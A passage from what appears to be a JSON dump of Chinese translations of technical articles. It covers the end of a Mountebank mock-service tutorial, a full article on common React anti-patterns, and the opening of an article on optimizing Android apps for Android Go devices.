\"GET\" } },\n                    { startsWith: { \"path\": \"/customers/\" } }\n                ]\n            }],\n            responses: [\n                {\n                    is: {\n                        statusCode: 200,\n                        headers: {\n                            \"Content-Type\": \"application/json\"\n                        },\n                        body: '{ \"firstName\": \"${row}[first_name]\", \"lastName\": \"${row}[last_name]\", \"favColor\": \"${row}[favorite_color]\" }'\n                    },\n                    _behaviors: {\n                        lookup: [\n                            {\n                                \"key\": {\n                                  \"from\": \"path\",\n                                  \"using\": { \"method\": \"regex\", \"selector\": \"/customers/(.*)$\" },\n                                  \"index\": 1\n                                },\n                                \"fromDataSource\": {\n                                  \"csv\": {\n                                    \"path\": \"data/customers.csv\",\n                                    \"keyColumn\": \"id\"\n                                  }\n                                },\n                                \"into\": \"${row}\"\n                              }\n                        ]\n                    }\n                }\n            ]\n        }\n    ];\n\n    const imposter = {\n        port: settings.customer_service_port,\n        protocol: 'http',\n        stubs: stubs\n    };\n\n    return mbHelper.postImposter(imposter);\n}\n\nmodule.exports = { addService };\n```\n\n这段代码定义了一个服务 mock，它寻找 URL 格式为 `customers/<id>` 的 `GET` 请求。当收到一个请求时，它将在 URL 上查询顾客的 `id`，并从 CSV 文件里返回相应的记录。\n\n相比上一步创建的 `hello` 服务，这段代码使用了更多的 Mountebank 功能。首先，它用了 Mountebank 的 [*behaviors*](http://www.mbtest.org/docs/mentalModel)。行为是一种为 stub 添加功能的方式。这个例子中，你正在使用 `lookup` 行为来查询 CSV 文件中的一条记录：\n\n```js\n...\n  _behaviors: {\n      lookup: [\n          {\n              \"key\": {\n                \"from\": \"path\",\n                \"using\": { \"method\": \"regex\", \"selector\": \"/customers/(.*)$\" },\n                \"index\": 1\n              },\n              \"fromDataSource\": {\n                \"csv\": {\n                  \"path\": \"data/customers.csv\",\n                  \"keyColumn\": \"id\"\n                }\n              },\n              \"into\": \"${row}\"\n            }\n      ]\n  }\n...\n```\n\n`key` 属性使用了一个正则表达式来解析传入的路径。在这个例子中，你将得到 URL 中 `customers/` 之后的 `id`。\n\n`fromDataSource` 属性指向了你储存测试数据的文件。\n\n`into` 属性将结果注入了一个变量 `${row}`。这个变量在接下来的 `body` 部分中被引用：\n\n```js\n...\n  is: {\n      statusCode: 200,\n      headers: {\n          \"Content-Type\": \"application/json\"\n      },\n      body: '{ \"firstName\": \"${row}[first_name]\", \"lastName\": \"${row}[last_name]\", \"favColor\": \"${row}[favorite_color]\" }'\n  },\n...\n```\n\n这个 row 变量用于填充响应的 body。在这个例子中，它是一个包含客户数据的 JSON 字符串。\n\n保存并关闭文件。\n\n接着，打开 `index.js` 将新的服务 mock 添加进初始化函数：\n\n```bash\nnano src/index.js\n```\n\n添加以下高亮行：\n\n```js\nconst mb = require('mountebank');\nconst settings = require('./settings');\nconst helloService = require('./hello-service');\nconst customerService = require('./customer-service');\n\nconst mbServerInstance = mb.create({\n        port: settings.port,\n        pidfile: '../mb.pid',\n        logfile: '../mb.log',\n        protofile: '../protofile.json',\n        ipWhitelist: ['*']\n    });\n\nmbServerInstance.then(function() {\n    helloService.addService();\n    customerService.addService();\n});\n```\n\n保存并关闭文件。\n\n现在使用 `npm start` 启动 Mountebank。这将隐藏提示符，因此打开另一个终端窗口。通过发送 `GET` 请求至 `localhost:5002/customers/3` 来测试你的服务。这将查找 `id=3` 的用户信息。\n\n```bash\ncurl localhost:5002/customers/3\n```\n\n你将会看到以下响应：\n\n```json\nOutput{\n    \"firstName\": \"Shalom\",\n    \"lastName\": \"Westoff\",\n    \"favColor\": \"Red\"\n}\n```\n\n此步骤中，你创建了一个 mock 服务，它从 CSV 文件中读取数据并且返回一个 JSON 响应。从这里开始，您可以配合你需要测试的服务，继续构建更复杂的 mock。\n\n## 总结\n\n在本文中，你用 Mountebank 和 Node.js 创建了自己的服务 mock 程序。现在，你可以构建 mock 服务并与团队共享。无论是涉及供应商的服务的复杂情景，还是需要在等待其他团队完成工作时进行一个简单的 mock，你都可以通过创建 mock 服务来保持团队任务的推进。\n\n如果你想了解更多 Mountebank 的信息，请查看他们的[文档](http://www.mbtest.org/)。如果你想将这个程序容器化，请查看[使用 Docker Compose 容器化 Node.js 开发环境](https://www.digitalocean.com/community/tutorials/containerizing-a-node-js-application-for-development-with-docker-compose)。如果你想在类生产环境中运行此程序，请查看[如何在 Ubuntu 18.04 上设置 Node.js 生产环境]((https://www.digitalocean.com/community/tutorials/how-to-set-up-a-node-js-application-for-production-on-ubuntu-18-04))。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-not-react-common-anti-patterns-and-gotchas-in-react.md",
    "content": "> * 原文地址：[How to NOT React: Common Anti-Patterns and Gotchas in React](https://codeburst.io/how-to-not-react-common-anti-patterns-and-gotchas-in-react-40141fe0dcd)\n> * 原文作者：[NeONBRAND](https://unsplash.com/photos/-Cmz06-0btw?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-not-react-common-anti-patterns-and-gotchas-in-react.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-not-react-common-anti-patterns-and-gotchas-in-react.md)\n> * 译者：[MechanicianW](https://github.com/mechanicianw)\n> * 校对者：[anxsec](https://github.com/anxsec) [ClarenceC](https://github.com/ClarenceC)\n\n# How to NOT React： React 中常见的反模式与陷阱\n\n什么是反模式？反模式是软件开发中被认为是糟糕的编程实践的特定模式。同样的模式，可能在过去一度被认为是正确的，但是现在开发者们已经发现，从长远来看，它们会造成更多的痛苦和难以追踪的 Bug。\n\n作为一个 UI 库，React 已经成熟，并且随着时间的推移，许多最佳实践也逐渐形成。我们将从数千名开发者集体的智慧中学习，他们曾用笨方法（the hard way）学习这些最佳实践。\n\n![](http://o7ts2uaks.bkt.clouddn.com/1_kD905dFJGIzg7DCjKIqwMw.gif)\n\n此言不虚！\n\n让我们开始吧！\n\n### 1. 组件中的 bind() 与箭头函数\n\n在使用自定义函数作为组件属性之前你必须将你的自定义函数写在 `constructor` 中。如果你是用 `extends` 关键字声明组件的话，自定义函数（如下面的 `updateValue` 函数）会失去 `this` 绑定。因此，如果你想使用 `this.state`，`this.props` 或者 `this.setState`，你还得重新绑定。\n\n#### Demo\n\n```\nclass app extends Component {\n  constructor(props) {\n    super(props);\n    this.state = {\n      name: ''\n    };\n    this.updateValue = this.updateValue.bind(this);\n  }\n\nupdateValue(evt) {\n    this.setState({\n      name: evt.target.value\n    });\n  }\n\nrender() {\n    return (\n      <form>\n        <input onChange={this.updateValue} value={this.state.name} />\n      </form>\n    )\n  }\n}\n```\n\n#### 问题\n\n有两种方法可以将自定义函数绑定到组件的 `this`。一种方法是如上面所做的那样，在 `constructor` 中绑定。另一种方法是在传值的时候作为属性的值进行绑定：\n\n```\n<input onChange={this.updateValue.bind(this)} value={this.state.name} />\n```\n\n这种方法有一个问题。由于 `.bind()` 每次运行时都会创建一个**函数**，**这种方法会导致每次** `render` **函数执行时都会创建一个新函数。**这会对性能造成一些影响。然而，在小型应用中这可能并不会造成显著影响。随着应用体积变大，差别就会开始显现。[这里](https://medium.com/@esamatti/react-js-pure-render-performance-anti-pattern-fb88c101332f) 有一个案例研究。\n\n箭头函数所涉及的性能问题与 `bind` 相同。\n\n```\n<input onChange={ (evt) => this.setState({ name: evt.target.value }) } value={this.state.name} />\n```\n\n这种写法明显更清晰。可以看到 prop `onChange` 函数中发生了什么。但是，这也导致了每次 `input` 组件渲染时都会创建一个新的匿名函数。因此，箭头函数有同样的性能弊端。\n\n#### 解决方案\n\n避免上述性能弊端的最佳方法是在函数本身的构造器中进行绑定。这样，在组件创建时仅创建了一个额外函数，即使再次执行 `render` 也会使用该函数。\n\n有一种情况经常发生就是你忘记在构造函数中去 `bind` 你的函数，然后就会收到报错（**Cannot find X on undefined.**）。Babel 有个插件可以让我们使用箭头语法写出自动绑定的函数。插件是 [**Class properties transform**](https://babeljs.io/docs/plugins/transform-class-properties/)。现在你可以这样编写组件：\n\n```\nclass App extends Component {\n  constructor(props) {\n    super(props);\n    this.state = {\n      name: ''\n    };\n\n// 看！无需在此处进行函数绑定！\n\n}\nupdateValue = (evt) => {\n    this.setState({\n      name: evt.target.value\n    });\n  }\n\nrender() {\n    return (\n      <form>\n        <input onChange={this.updateValue} value={this.state.name} />\n      </form>\n    )\n  }\n}\n```\n\n#### 延伸阅读\n\n*   [React 绑定模式： 5 个处理 `this` 的方法](https://medium.freecodecamp.org/react-binding-patterns-5-approaches-for-handling-this-92c651b5af56)\n*   [React.js pure render 性能反模式](https://medium.com/@esamatti/react-js-pure-render-performance-anti-pattern-fb88c101332f)\n*   [React —— 绑定还是不绑定](https://medium.com/shoutem/react-to-bind-or-not-to-bind-7bf58327e22a)\n*   [在 React component classes 中绑定函数的原因及方法](http://reactkungfu.com/2015/07/why-and-how-to-bind-methods-in-your-react-component-classes/)\n\n### 2. 在 key prop 中使用索引\n\n遍历元素集合时，key 是必不可少的 prop。key 应该是稳定，唯一，可预测的，这样 React 才能追踪元素。key 是用来帮助 React 轻松调和虚拟 DOM 与真实 DOM 间的差异的。然而，使用某些值集例如数组**索引**，**可能会导致你的应用崩溃或是渲染出错误数据。**\n\n#### Demo\n\n```\n{elements.map((element, index) =>\n    <Display\n       {...element}\n       key={index}\n       />\n   )\n}\n```\n\n#### 问题\n\n当子元素有了 key，React 就会使用 key 来匹配原始树结构和后续树结构中的子元素。**key 被用于作身份标识。**如果两个元素有同样的 key，React 就会认为它们是相同的。当 key 冲突了，即超过两个元素具有同样的 key，React 就会抛出警告。\n\n![](http://o7ts2uaks.bkt.clouddn.com/1_3C-F1fs7E5fK9R8XlLk62g.png)\n\n警告出现重复的 key。\n\n[这里](https://reactjs.org/redirect-to-codepen/reconciliation/index-used-as-key) 是 CodePen 上使用索引作为 key 可能导致的问题的一个示例。\n\n#### 解决方案\n\n被使用的 key 应该是：\n\n*   **唯一的**： 元素的 key 在它的兄弟元素中应该是唯一的。没有必要拥有全局唯一的 key。\n*   **稳定的**： 元素的 key 不应随着时间，页面刷新或是元素重新排序而变。\n*   **可预测的**： 你可以在需要时拿到同样的 key，意思是 key 不应是随机生成的。\n\n数组索引是唯一且可预测的。然而，并不稳定。同样，**随机数或时间戳不应被用作为 key。**\n\n由于随机数既不唯一也不稳定，使用随机数就相当于根本没有使用 key。即使内容没有改变，组件也**会**每次都重新渲染。\n\n时间戳既不稳定也不可预测。**时间戳也会一直递增。**因此每次刷新页面，你都会得到新的时间戳。\n\n通常，你应该依赖于数据库生成的 ID 如关系数据库的主键，Mongo 中的对象 ID。如果数据库 ID 不可用，你可以生成内容的哈希值来作为 key。关于哈希值的更多内容可以在[这里](https://en.wikipedia.org/wiki/Hash_function)阅读。\n\n#### 延伸阅读\n\n*   [将索引作为 key 是一种反模式](https://medium.com/@robinpokorny/index-as-a-key-is-an-anti-pattern-e0349aece318)\n*   [React 中集合为何需要 key](https://paulgray.net/keys-in-react/)\n*   [为何你不应该使用随机数作为 key](https://github.com/facebook/react/issues/1342#issuecomment-39230939).\n\n### 3. setState() 是异步的\n\nReact 组件主要由三部分组成：`state`，`props` 和标记（或其它组件）。props 是不可变的，state 是可变的。state 的改变会导致组件重新渲染。如果 state 是由组件在内部管理的，则使用 `this.setState` 来更新 state。关于这个函数有几件重要的事需要注意。我们来看看：\n\n#### Demo\n\n```\nclass MyComponent extends Component {\n  constructor(props) {\n    super(props);\n    this.state = {\n      counter: 350\n    };\n  }\n\n  updateCounter() {\n    // 这行代码不会生效\n    this.state.counter = this.state.counter + this.props.increment;\n\n    // ---------------------------------\n\n    // 不会如预期生效\n    this.setState({\n      counter: this.state.counter + this.props.increment; // 可能不会渲染\n    });\n\n    this.setState({\n      counter: this.state.counter + this.props.increment; // this.state.counter 的值是什么？\n    });\n\n    // ---------------------------------\n\n    // 如期生效\n    this.setState((prevState, props) => ({\n      counter: prevState.counter + props.increment\n    }));\n\n    this.setState((prevState, props) => ({\n      counter: prevState.counter + props.increment\n    }));\n  }\n}\n```\n\n#### 问题\n\n请注意第 11 行代码。如果你**直接**修改了 state，组件并**不会**重新渲染，修改也不会有任何体现。这是因为 state 是进行[浅比较（shallow compare）](https://stackoverflow.com/questions/36084515/how-does-shallow-compare-work-in-react)的。你应该永远都使用 `setState` 来改变 state 的值。\n\n现在，如果你在 `setState` 中通过当前的 `state` 值来更新至下一个 state （正如第 15 行代码所做的），React **可能不会重新渲染**。这是因为 `state` 和 `props` 是异步更新的。也就是说，DOM 并不会随着 `setState` 被调用就立即更新。React 会将多次更新合并到同一批次进行更新，然后渲染 DOM。查询 `state` 对象时，你可能会收到已经过期的值。[文档](https://reactjs.org/docs/state-and-lifecycle.html#state-updates-may-be-asynchronous)也提到了这一点：\n\n> 由于 `this.props` 和 `this.state` 是异步更新的，你不应该依赖它们的值来计算下一个 state。\n\n另一个问题出现于一个函数中有多次 `setState` 调用时，如第 16 和 20 行代码所示。counter 的初始值是 350。假设 `this.props.increment` 的值是 10。你可能以为在第 16 行代码第一次调用 `setState` 后，counter 的值会变成 350+10 = **360。**并且，当第 20 行代码再次调用 `setState` 时，counter 的值会变成 360+10 = **370**。然而，这并不会发生。第二次调用时所看到的 `counter` 的值仍为 350。**这是因为 setState 是异步的。**counter 的值直到下一个更新周期前都不会发生改变。setState 的执行在[事件循环](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop)中等待，直到 `updateCounter` 执行完毕前，`setState` 都不会执行， 因此 `state` 的值也不会更新。\n\n#### 解决方案\n\n你应该看看第 27 和 31 行代码使用 `setState` 的方式。以这种方式，你可以给 `setState` 传入一个接收 **currentState** 和 **currentProps** 作为参数的函数。这个函数的返回值会与当前 state 合并以形成新的 state。\n\n#### 延伸阅读\n\n*   [Dan Abramov](https://medium.com/@dan_abramov) 对于为什么 `setState` 是异步的所做的超级棒的[解释](https://github.com/facebook/react/issues/11527)\n*   [在 `setState` 中使用函数而不是对象](https://medium.com/@wisecobbler/using-a-function-in-setstate-instead-of-an-object-1f5cfd6e55d1)\n*   [Beware： React 的 setState 是异步的！](https://medium.com/@wereHamster/beware-react-setstate-is-asynchronous-ce87ef1a9cf3)\n\n### 4. 初始值中的 props\n\nReact 文档提到这也是反模式：\n\n> **在 getInitialState 中使用 props 来生成 state 经常会导致重复的“事实来源”，即真实数据的所在位置。这是因为 getInitialState 仅仅在组件第一次创建时被调用。**\n\n#### Demo\n\n```\nimport React, { Component } from 'react'\n\nclass MyComponent extends Component {\n  constructor(props){\n    super(props);\n    this.state = {\n      someValue: props.someValue,\n    };\n  }\n}\n```\n\n#### 问题\n\n`constructor`（getInitialState） **仅仅在组件创建阶段被调用**。也就是说，`constructor` 只被调用一次。因此，当你下一次改变 `props` 时，state 并不会更新，它仍然保持为之前的值。\n\n经验尚浅的开发者经常设想 `props` 的值与 state 是同步的，随着 `props` 改变，`state` 也会随之变化。然而，真实情况并不是这样。\n\n#### 解决方案\n\n如果你需要特定的行为即**你希望 state 仅由 props 的值生成一次**的话，可以使用这种模式。state 将由组件在内部管理。\n\n在另一个场景下，你可以通过生命周期方法 `componentWillReceiveProps` 保持 state 与 props 的同步，如下所示。\n\n```\nimport React, { Component } from 'react'\n\nclass MyComponent extends Component {\n  constructor(props){\n    super(props);\n    this.state = {\n      someValue: props.someValue,\n    };\n  }\n\n  componentWillReceiveProps(nextProps){\n    if (nextProps.inputValue !== this.props.inputValue) {\n      this.setState({ inputVal: nextProps.inputValue })\n    }\n  }\n}\n```\n\n要注意，关于使用 `componentWillReceiveProps` 有一些注意事项。你可以在[文档](https://reactjs.org/docs/react-component.html#componentwillreceiveprops)中阅读。\n\n最佳方法是使用状态管理库如 Redux 去 [**connect**](https://github.com/reactjs/react-redux) state 和组件。\n\n#### 延伸阅读\n\n*   [初始化 state 中的 props](https://github.com/vasanthk/react-bits/blob/master/anti-patterns/01.props-in-initial-state.md)\n\n### 5. 组件命名\n\n在 React 中，如果你想使用 JSX 渲染你的组件，组件名必须以大写字母开头。\n\n#### Demo\n\n```\n<MyComponent>\n    <app /> // 不会生效 :(\n</MyComponent>\n\n<MyComponent>\n    <App /> // 可以生效！\n</MyComponent>\n```\n\n#### 问题\n\n如果你创建了一个 `app` 组件，以 `<app label=\"Save\" />` 的形式去渲染它，React 将会报错。\n\n![](http://o7ts2uaks.bkt.clouddn.com/1_xCB4cI255tVV41NvIozL7g.png)\n\n使用非大写自定义组件时的警告。\n\n报错表明 `<app>` 是无法识别的。只有 HTML 元素和 SVG 标签可以以小写字母开头。因此 `<div />` 是可以识别的，`<app>` 却不能。\n\n#### 解决方案\n\n你需要确保在 JSX 中使用的自定义组件是以大写字母开头的。\n\n但是也要明白，声明组件无需遵从这一规则。因此，你可以这样写：\n\n```\n// 在这里以小写字母开头是可以的\nclass primaryButton extends Component {\n  render() {\n    return <div />;\n  }\n}\n\nexport default primaryButton;\n\n// 在另一个文件中引入这个按钮组件。要确保以大写字母开头的名字引入。\n\nimport PrimaryButton from 'primaryButton';\n\n<PrimaryButton />\n```\n\n#### 延伸阅读\n\n*   [React 陷阱](https://daveceddia.com/react-gotchas/)\n\n以上这些都是 React 中不直观，难以理解也容易出现问题的地方。如果你知道任何其它的反模式，请回复本文。😀\n\n* * *\n\n我还写了一篇 [可以帮助快速开发的优秀 React 和 Redux 包](https://codeburst.io/top-react-and-redux-packages-for-faster-development-5fa0ace42fe7)\n\n- [**可以帮助快速开发的优秀 React 和 Redux 包**： 近些年来 React 越来越受欢迎，随之也出现了许多工具…… codeburst.io](https://codeburst.io/top-react-and-redux-packages-for-faster-development-5fa0ace42fe7)\n\n如果你仍在学习如何构建 React 项目，这个[含有两部分的系列文章](https://codeburst.io/yet-another-beginners-guide-to-setting-up-a-react-project-part-1-bdc8a29aea22) 可以帮助你理解 React 构建系统的多个方面。\n\n- [**又一个 React 初学者指南项目 —— 第一部分**： 过去几年中 React 发展迅猛，已发展成一个成熟的 UI 库）……codeburst.io](https://codeburst.io/yet-another-beginners-guide-to-setting-up-a-react-project-part-1-bdc8a29aea22)\n\n- [**又一个 React 初学者指南项目 —— 第二部分**：我们在第一部分中构建了一个简单的 React 应用。使用 React， React DOM 与 webpack-dev-server 作为项目依赖…… codeburst.io](https://codeburst.io/yet-another-beginners-guide-to-setting-up-a-react-project-part-2-5d3151814333)\n\n* * *\n\n**我写作 JavaScript，Web 开发与计算机科学领域的文章。关注我可以每周阅读新文章。如果你喜欢，可以分享本文。**\n\n**关注我 @** [**Facebook**](https://www.facebook.com/arfat.salman) **@** [**Linkedin**](https://www.linkedin.com/in/arfatsalman/) **@** [**Twitter**](https://twitter.com/salman_arfat)**.**\n\n[![](http://o7ts2uaks.bkt.clouddn.com/1_i3hPOj27LTt0ZPn5TQuhZg.png)](http://bit.ly/codeburst)\n\n> ✉️ **订阅 CodeBurst的每周邮件** [**_Email Blast_**](http://bit.ly/codeburst-email), 🐦可以在[**_Twitter_**](http://bit.ly/codeburst-twitter) 上关注 CodeBurst, 浏览 🗺️ [**_The 2018 Web Developer Roadmap_**](http://bit.ly/2018-web-dev-roadmap), 和 🕸️ [**学习 Web 全栈开发**](http://bit.ly/learn-web-dev-codeburst)。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-optimize-your-app-for-android-go-edition.md",
    "content": "> * 原文地址：[How to optimize your app for Android (Go edition)](https://medium.com/googleplaydev/how-to-optimize-your-app-for-android-go-edition-f0d2bedf9e03)\n> * 原文作者：[Raj Ajrawat](https://medium.com/@rajamatage?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-optimize-your-app-for-android-go-edition.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-optimize-your-app-for-android-go-edition.md)\n> * 译者：[androidxiao](https://github.com/androidxiao)\n\n# 如何优化您的 Android 应用（Go 版）\n\n## 洞察力可帮助您创建适用于全球 Android 手机的应用程序\n\n![](https://cdn-images-1.medium.com/max/800/1*ZlH0h5W_-kszqcRfw6BLEw.png)\n\n在去年的 Google I/O 大会上发布了 Android（Go 版），其目标是为全球入门级设备提供高质量的智能手机体验。在今年早些时候，6 家原始设备制造商在[移动世界大会上](https://www.blog.google/products/android/case-you-missed-it-android-announcements-mobile-world-congress/)宣布了他们的设备，并且更多的原始设备制造商将致力于构建新的 Android（Go 版）设备。我们对这种势头感到非常激动，并且我们鼓励您从我们的合作伙伴那里购买您自己的 Android（Go 版）设备！\n\n我们的 OEM 合作伙伴一直在努力将设备推向市场，并且我们开始看到这些设备可供用户使用。与此同时，我一直在与 Google Play 团队合作，与 Android 社区开发人员合作，确保开发人员在适当的情况下优化他们对这些设备的应用体验。在这篇文章中，我将分享我们的合作伙伴的工作，优化他们的 Android 应用和游戏（Go 版）。\n\n### 了解机会\n\n正如我们在 [Google I/O 大会上](https://www.youtube.com/watch?v=-g7yxxTpF2o&list=PLOU2XLYxmsIInFRc3M44HUTQc3b_YJ4-Y&index=69&t=0s)讨论的那样，Android（Go 版）旨在改善入门级设备（内存 < 1GB 的设备）的体验。世界各地的用户一直在努力解决电池问题，设备缺乏存储，数据限制以及处理器速度差等问题，从而导致了他们对手机的更换和不满。尽管 Google 已经完成了大量工作来优化我们的应用，例如[搜索](https://play.google.com/store/apps/details?id=com.google.android.apps.searchlite)，[助理](https://play.google.com/store/apps/details?id=com.google.android.apps.assistant)，[地图](https://play.google.com/store/apps/details?id=com.google.android.apps.mapslite)和 [YouTube](https://play.google.com/store/apps/details?id=com.google.android.apps.youtube.mango)，但应用和游戏开发人员确保他们的产品能够在这些设备上顺利运行也很重要，以便用户在入门级价位上享受优质体验。\n\n我们为 Android（Go 版）概述的要求旨在帮助您为入门级设备上的用户提供出色的体验。正如您所看到的，您应用的许多优化实际上将在全球所有设备上为用户带来更好性能的更小应用程序。\n\n### 要优化，还是要开始尝试？选择您的应用策略\n![](https://cdn-images-1.medium.com/max/800/0*gDxkFwplfrjaNDN8.)\n\n许多人会问自己的第一个问题是：“我应该优化现有的应用程序还是创建一个新的应用程序？”虽然这个问题看似简单，但答案可能会更复杂一些。它还取决于诸如您拥有多少开发资源等因素; 无论您是否可以在应用中保留针对这些设备进行优化的功能，以及您希望为全球最终用户启用的分发场景类型。\n\n有三种情况可以确定：\n\n*  **一个应用程序的所有。** 针对 Android（Go 版）设备和具有相同体验的所有其他设备使用相同的应用程序。在这种情况下，您正在优化现有应用程序以便在这些设备上顺利运行，并且您的现有用户可以从这些优化中获得性能优势。这个应用程序可能是多进制的，但对于低 RAM 设备没有特定的经验。我们强烈建议您使用新的  [Android App Bundle](https://developer.android.com/platform/technology/app-bundle/) 来体验高达 65％ 的体积节省，而无需重构代码。\n\n* **一个应用程序，不同的 APK。** 针对 Android（Go 版）设备和其他所有设备使用相同的应用，但是有不同的体验。创建不同的 APK; 一个 APK 针对新的 android.hardware.ram.low 尺寸 vs APK（s）定位其他所有设备。\n\n* **两个应用。** 创建一个新的 “lite” 应用程序并定位 Android（Go 版）设备。您可以按原样保留现有的应用程序。“lite” 应用程序仍然可以定位所有区域设置中的所有设备，因为不需要此“精简版”应用程序仅针对 Android（Go 版）设备。\n\n每种方式都有优点和缺点，最好根据您的特定业务来评估这些方案。\n\n### 优化您的应用提示\n![](https://cdn-images-1.medium.com/max/800/0*ebE0B6_J372H-oeR.)\n\n确定应用策略后，在优化您的应用时需要考虑一些关键因素：\n\n1. 确保您的应用没有 ANR 和崩溃\n2. 针对 Android Oreo\n3. 您安装的应用程序要低于 40 MB，游戏要低于 65 MB\n4. 应用程序的 PSS 要低于 50 MB，游戏要低于 150 MB\n5. 将您的应用或游戏的冷启动时间保持在 5 秒以下\n\n现在我们来看一下这些性能指标，以现有 Android 开发人员为例。\n\n#### 确保您的应用没有 ANR 和崩溃\n\n研究表明，ANR（应用程序无响应）错误和崩溃可能会对用户保留造成重大负面影响，并可能导致高卸载率。购买 Android（Go版）手机的消费者会把它们作为他们的第一款智能手机，他们会期待一种快乐，干净，高效的体验，而不是让手机死机。Google Play 控制台中的 [Android 重要](https://developer.android.com/topic/performance/vitals/index.html)功能可让您跟踪 ANR 和崩溃情况，并深入了解影响特定用户或设备类型的错误。该工具对于我们许多开发人员来说是识别，分类和修复其应用程序中出现的问题所不可缺少的。\n\n![](https://cdn-images-1.medium.com/max/800/0*TjnO4X-3zCNH1Imw.)\n\n>“为了降低崩溃率和减少 ANR，我们使用了 Android 的重要功能和 Firebase 的 Crashlytics 进行主动监控，并且设法在大约 99.9％ 的无崩溃会话和 ANR 率小于 0.1％ 的情况下运行，从而使我们的崩溃比我们早期的版本降低了 10 倍,“ [Flipkart](https://play.google.com/store/apps/details?id=com.flipkart.android) 用户体验与成长高级总监 Arindam Mukherjee 说。“为了实现这一目标，我们分阶段推出了我们的应用程序 - 监控崩溃和 ANR，广泛使用 Nullity Annotations 来计算运行静态代码分析工具时的 NullPointerException 问题。我们还对启用 ProGuard 的版本进行了测试，这有助于我们在周期的早期捕获与混淆相关的问题。“\n\n在诊断 ANR 时有一些常见的模式用于查找：\n\n* 该应用程序在主线程上执行涉及 I/O 的耗时操作。\n* 该应用程序正在主线程上进行耗时操作\n* 主线程正在对另一个进程执行同步绑定程序调用，而其他进程需要很长时间才能返回。\n* 主线程被阻塞，等待正在另一个线程上发生的耗时同步操作。\n* 主线程与另一个线程处于死锁状态，无论是在您的进程中还是通过联编程序调用。主线程不是要等待很长时间才能完成操作，而是处于死锁状态。有关更多信息，请参见[死锁](https://developer.android.com/topic/performance/vitals/anr#deadlocks)。\n\n请务必了解更多关于[诊断和再现崩溃的信息](https://developer.android.com/topic/performance/vitals/crash.html#diagnose_the_crashes)，并查看 [Flipkart](https://play.google.com/store/apps/details?id=com.flipkart.android) 关于 Android 版优化的最新视频（Go 版）：\n\nYouTube 视频链接：https://youtu.be/4lHfTteF8tE?list=PLWz5rJ2EKKc9ofd2f-_-xmUi07wIGZa1c\n\n#### 目标 Android 奥利奥\n\nAndroid Oreo（目标 API 26）包含许多[资源优化措施](https://developer.android.com/about/versions/oreo/android-8.0.html#art)，如[后台执行限制](https://developer.android.com/about/versions/oreo/background.html)，这可确保进程在后台正常运行，同时保持手机流畅。许多这些功能都是专门为提高电池寿命和整体手机性能而设计的，并且确保使用这些设备的用户对您的应用有很好的体验。如果您的应用或游戏仍未针对 API 26 或更高版本，我强烈建议您[仔细阅读](https://developer.android.com/distribute/best-practices/develop/target-sdk.html) Google Play [的迁移指南](https://developer.android.com/distribute/best-practices/develop/target-sdk.html)。特别要密切关注[后台执行限制](https://developer.android.com/about/versions/oreo/background.html)和[通知渠道](https://developer.android.com/about/versions/oreo/android-8.0.html#notifications)。请记住[已经宣布安全更新](https://android-developers.googleblog.com/2017/12/improving-app-security-and-performance.html)：发布到 Play 控制台的新应用需要在 2018 年 8 月 1 日之前至少定位到 API 26（Android 8.0）或更高版本，而现有/已发布应用的更新将需要在 2018 年 11 月 1 日之前完成。为了符合这些要求，您需要尽快使用奥利奥。\n\n#### 保持安装的大小很小\n![](https://cdn-images-1.medium.com/max/800/0*BqSRQQuWQ7Q_Xna1.)\n\n[APK 大小和安装率之间](https://medium.com/googleplaydev/shrinking-apks-growing-installs-5d3fcba23ce2)存在[非常明显的相关性：APK 大小](https://medium.com/googleplaydev/shrinking-apks-growing-installs-5d3fcba23ce2)越小，安装量越高。使用 Android（Go 版）的人对磁盘大小非常敏感，因为这些手机通常存储容量有限。这就是为什么 Play 商店会在搜索结果和 Play 商品详情等特定情况下展示应用尺寸超过应用评分的原因之一。尽管 Android（Go 版）设备上的 Play 商店与全球所有设备上的用户都可以使用的 Google Play 商店相同，但我们正在自定义商店体验，我们认为这对于这些设备上的用户非常重要。\n\n> “我们的 Android 团队对使用网络和设备资源有限的用户会重点关注，” [Tinder](https://play.google.com/store/apps/details?id=com.tinder) 国际增长主管 AJ Cihla 说。“ 